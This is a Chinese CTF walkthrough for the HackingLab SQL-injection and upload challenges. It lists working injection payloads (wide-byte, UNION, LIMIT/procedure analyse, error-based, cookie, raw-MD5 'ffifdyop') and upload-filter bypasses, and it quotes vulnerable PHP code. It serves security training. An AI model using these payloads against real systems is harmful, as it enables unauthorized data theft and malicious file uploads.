HackingLab注入关+上传关writeup

夺旗攻略 2018-05-02

HackingLab注入关和上传关的攻略

前言

本人也是第一次写这种CTF的writeup,可能会存在一定的错误和遗漏之处,本攻略主要是提供解体思路,尽量会避免直接显示答案,请各位见谅,但是如果有一些直接显示在响应包中的key,本攻略则会直接显示。以下攻略部分代码和思路引用自其他人的博客或者网站,大部分以注明出处,如有遗漏,烦请告知,谢谢~

更新时间为2017.01.09,所有关卡题目攻略皆已补全

作者:古月蓝旻

注入关

部分思路引用自

黑吧安全网的
hackinglab注入关writeup

40huo的
HackingLab 注入关 writeup

Q1:

最简单的SQL注入
分值: 100
Tips题目里有简单提示

进去之后就是最常见的登陆框,查看一下源码,发现里面有提示

<!-- Tips login as admin-->

以admin的身份登陆

密码我们是不知道的,加上有验证码,但是本关的标题是最简单的注入,而强行爆破就不是注入了,最简单的注入无非就是使用一些万能密码注入,经过测试

用户名处提交
admin' or 'a'='a
admin' or 1=1#
admin' or 'a'='a'#
等等,密码随意,验证码写对就ok了

Q2:

最简单的SQL注入(熟悉注入环境)
分值: 100
最简单的SQL注入

回答第二题的时候提示需要登陆,那么前往左侧导航栏--子系统--题目平台登陆即可

点进去之后发现除了两行文字什么都没有啊,

url为http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

既然是两行文字做成静态页面html好不好?为什么要做成php?

还是看一下页面源码,发现提示

tips: id=1

我们把这个加到index.php后面吧

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

访问一下发现页面没有任何变化,但是至少页面没有报错,说明页面是存在的

尝试一下N年前测试注入点的老方法吧

添加 or 1=1
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1

然后key就出来了。。。

Q3:

防注入
分值: 300
小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!

flag是随机序列

提示还是id=1

拿Q2的方法尝试了一下,结果当然不可能成功

讲道理,第二题和第三题的难度差距还是不小的

首先简单说一下,在注入中非常重要的一个符号就是单引号'(url编码为%27),文能报错数据库语句,武可闭合属性值单引。不管是sql注入,xss里都少不了它

在php专门有一些机制去防御它,包括addslashes()函数,魔术字符开关magic_quotes_gpc,mysql_escape_string()函数等等,当然,这些机制或多或少都存在绕过的方法

而本题中,虽然提到了防注入,但既然是一道题目,那就是说还是存在绕过的漏洞的

使用burp抓个响应包

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 07:37:37 GMT
Cache-Control: no-store
Content-Type: text/html; charset=gb2312
Pragma: no-cache
Via: 2153
X-Daa-Tunnel: hop_count=1
Content-Length: 242

<html>
    <head>
        <title>SQLi4_article</title>
    </head>
    <body>      <div>
            <h2>blog system</h2>
            <div class="content">my blog test</div>
        </div>
                
    </body>
</html>
<!-- tips: id=1

而Q2抓的响应包是这样

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 07:26:42 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 2126
X-Daa-Tunnel: hop_count=1
Content-Length: 488

<html>
<head>
    <title>SQLi3_article</title>
</head>
<body>      <div>
        <h2>文章管理系统</h2>
        <div class="content">文章管理系统测试</div>
    </div>
    
</body>
</html>
<!-- tips: id=1

2015: 另外:通过前两个SQL注入题基本了解题目架构(SAE+RDS),有些注入在云环境下会有些不同之处
2016/04/30 现在迁移到普通mysql数据库,其他题目mysql均与该题目环境相同或类似

内容不看了,就看响应头有什么区别吧,可以发现

Q3:Content-Type: text/html; charset=gb2312
Q2:Content-Type: text/html; charset=utf-8

字符集不一样,本题是gb2312编码,而gb2312和gbk等汉字编码一个字符占据两个字节,被称为宽字符(宽字节)编码,而utf-8一个字符占据1到4个字节不等,属于可变长字符编码

而宽字符配合php的一些缺陷安全函数,就存在宽字符(宽字节)注入漏洞,详细情况见91ri的一篇科普文

宽字节注入详解

所以我们可以尝试使用宽字符注入来测试一下能否绕过防注入

首先测试一下

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df'

报错了,报错是好事,可以尝试手工注入五部曲了,使用Hackbar进行操作

1.判断字段长度

lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' order by 3 %23

发现字段长度3的时候显示空白,4的时候报错,字段就是3了

2.报显示位

lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,3 %23

得到显示位2,3,那么两个字段都可以拿来显示数据啦

3.报数据库表名

将字段2替换成表查询语句
select group_concat(table_name) from information_schema.tables where table_schema=database()

lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23

数据库名为:sae_user_sqli4

4.报列名

将字段2替换成列查询语句,记得刚刚查到的表名转成hex值,不然数据库不认识

sae_user_sqli4的hex值为0x7361655f757365725f73716c6934

(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934)

语句如下
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934),3 %23

报出了3个字段名
id,title_1,content_1

5.拿数据
union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23 

语句如下
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23 

拿flag走人

Q4:

到底能不能回显
分值: 350
小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢? 

审题是非常有必要的,然后我们发现和上一关相对比,小明在闯这关之前做了一个成功的变性手术。。。

嗯,其实题干很好,说出了sql注入的本质,然后本题提示了limit,这就是limit注入,推荐一篇科普文

MySQL 在 LIMIT 条件后注入

方法适用于MySQL5.x版本,limit配合procedure analyse()函数,procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型

点进去看一下,url是

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

有两个参数start和num,通过修改start参数的数值,我们发现显示的语句也是不一样的,那么突破口应该就在start参数了

根据上一篇科普文,我们构造如下语句进行测试

1.报数据库表名
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23 &num=1 %23

出article和user表

2.报列名

分别去两个表看一下
记得还是需要将表名字符串转hex值

感觉user表的可能性更大啊
user的hex为0x75736572
语句如下
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23 &num=1 %23


报出字段
id,username,password,lastloginI

3.查询username字段有哪些值

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23 &num=1 %23
出现user,admin,flag
胜利在望啊

4.查username为flag的password呗
注意还是要把flag字符串转hex
 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23 &num=1 %23

拿到flag!
顺便一提,本题的flag在user表里哦

Q5:

邂逅
分值: 350
小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。

看来小明同学男女通杀啊...
点开之后
漂亮妹纸
今天遇到了一个好帅好帅的帅哥,真漂亮,于是我偷拍了一张她的照片
然后配了一张狗图。。。人模狗样,女扮男装?

一开始毫无思路,源码还是提示id=1,应该不是这个,后来查了很多,发现是一个图片注入,不过对于页面内图片的请求burp抓不到,自己手动改一下burp的GET为图片地址吧,dog1.jpg存在宽字节注入,提交dog%df'1.jpg可以证明,响应包返回结果如下

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 05 Jan 2017 09:27:23 GMT
Cache-Control: no-store
Last-Modified: Thu, 05 Jan 2017 09:20:00 GMT
Content-Type: image/jpeg
Content-Length: 346
Pragma: no-cache
Via: 15147
X-Daa-Tunnel: hop_count=1
X-Cache-Lookup: Hit From Upstream
X-Cache-Lookup: Hit From Upstream

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.jpg'' at line 1<br />
<b>Warning</b>:  mysql_fetch_row() expects parameter 1 to be resource, boolean given in <b>sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/myimages1.php</b> on line <b>18</b><br />
        

果然报错,然后就是使用burp进行常规注入了

GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20order%20by%205%23 HTTP/1.1
//看显示位,3
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,3,4%23 HTTP/1.1
//当前数据库 mydbs
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,database(),4%23 HTTP/1.1
//看表名 article pic
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,group_concat(table_name),4%20from%20information_schema.tables%20where%20table_schema=0x6d79646273%23 HTTP/1.1
//看字段 article表id,title,content,others  pic表id,picname,data,text
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df%27%20union%20select%201,2,group_concat(column_name),4%20from%20information_schema.columns%20where%20table_name=0x61727469636c65%23 HTTP/1.1
//查看picname dog1.jpg,cat1.jpg,flagishere_askldjfklasjdfl.jpg
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%df%27%20union%20select%201,2,group_concat(picname),4%20from%20pic%23 HTTP/1.1

最后提示有flagishere_askldjfklasjdfl.jpg,名字起这么长就是防止某些人瞎猫碰上死老鼠访问到了,或者被字典猜到了

访问

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

拿到flag

Q6:

ErrorBased
分值: 150
本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录

题目考察的是基于错误的sql注入,切记flag中不带key和#

基于错误的注入相关的资料很多,就不赘述了

推荐一篇文章
MySQL暴错注入方法整理

然后构造如下语句

//看数据库版本 5.1.73
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//看当前用户 saeuser@220.181.129.121
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//当前数据库 mydbs
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆库 information_schema, mydbs, test
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆表 log, motto, user
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//爆字段 id, username, password
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
//读内容
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)))%23
//发现user表没有flag,读motto表
key#notfound!#

去掉key和#就是flag啦

顺便一提,本题的key在motto表里
log表的字段是id,username,time

Q7:

盲注
分值: 200
今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔...........so:不要偷懒哦!

这道题我查了很久,都没有直接给出flag的,都说拿sqlmap 指定时间盲注即可,结果我至今没跑出来,手工测试的教程都很少有人制作,给出一个网址,里面的大哥已经跑了很多了,但是也没跑完
网络信息安全学习平台---注入关第7题

key在motto表里

看评论拿的flag

Q8:

SQL注入通用防护
分值: 250
小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!

我记得我第一次学注入的时候,视频教程的大哥说注入有3种,post方式,get方式,cookie注入,然后说cookie注入严格算post注入的一种。。。

既然过滤了get和post注入,那就cookie注入好了

使用burp抓请求包,Cookie字段添加;id=1'

GET /sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hackinglab.cn/ShowQues.php?type=sqlinject
Cookie: PHPSESSID=44e9440335d65737424131a3502b0e43;id=1'
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

报错啦,然后开始order by ,union select一路下去,最后可拿flag,不在赘述

Q9:

据说哈希后的密码是不能产生注入的
分值: 400
代码审计与验证

点开源码看一下

<?php



include "config.php";


if(isset($_GET['userid']) && isset($_GET['pwd'])){

    $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
    
    $conn=mysql_connect($dbhost,$username,$pwd);
    mysql_select_db($db,$conn);
    $result=mysql_query($strsql);
    print_r(mysql_error());
    $row=mysql_fetch_array($result);
    mysql_close($conn);
    echo "<pre>";
    print_r($row);
    
    echo "</pre>";
    if($row!=null){
        echo "Flag: ".$flag;
    }
    
}
else{
    echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);

password使用md5()函数处理过,题目的标题也说了据说哈希后的密码是不能产生注入的,那么注入点严格就在password

password='".md5($_GET['pwd'], true)

仔细查一下php中md5函数的参数含义

第二个可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

其实可以注入。

思路比较明确,当md5后的hex转换成字符串后,如果包含 'or'xxxx 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'xxxx
很明显可以注入了。

难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。

提供一个字符串:ffifdyop

md5("ffifdyop"),276f722736c95d99e921722cf9ed621c

md5("ffifdyop",true): 'or'6?]??!r,??b

构造如下语句可拿flag

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

上传关

Q1:

请上传一张jpg格式的图片
分值: 100
只能上传jpg格式的图片哦~! 

上传关套路很少的,关键就是突破网站限制,上传非jpg文件

提示只能上传jpg文件,如果你真的上传了一个jpg问题,网站将开启嘲讽模式

恩,真乖,您上传了一张jpg格式的图片!

查看一下页面源码,发现使用了JS来验证了用户上传文件后缀名,客户端验证永远只是辅助的

所以使用firebug或者burp删去onsubmit属性后面的return check()函数,然后上传一个非jpg文件即可

Q2:

请上传一张jpg格式的图片
分值: 150
只能是jpg哦!

查看上传页面源码发现,JS端验证已经取消,通过判断MIME来验证是否上传的是jpg文件

套路就是

先上传一个jpg文件,使用burp拦截,然后将请求中的filename一项中的jpg后缀名改成php即可

Q3:

请上传一张jpg格式的图片
分值: 150
只能是jpg哦! 

题目和Q2一样,但是Q2的方法已经失效了,此时JS验证重回战场

<script>
        function check(){
            var filename=document.getElementById("file");
            var str=filename.value.split(".");
            var ext=str[1];
            if(ext==='jpg'){
                return true;
            }else{
                alert("请上传一张JPG格式的图片!");
                return false;
            }
            return false;
        }
    </script>

简单梳理一下逻辑,是通过截取文件最后的.后面的内容,如果是jpg则ok

既然只是验证最后的后缀名,那么绕过的方式就是上传xxx.php.jpg格式的文件就行了


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论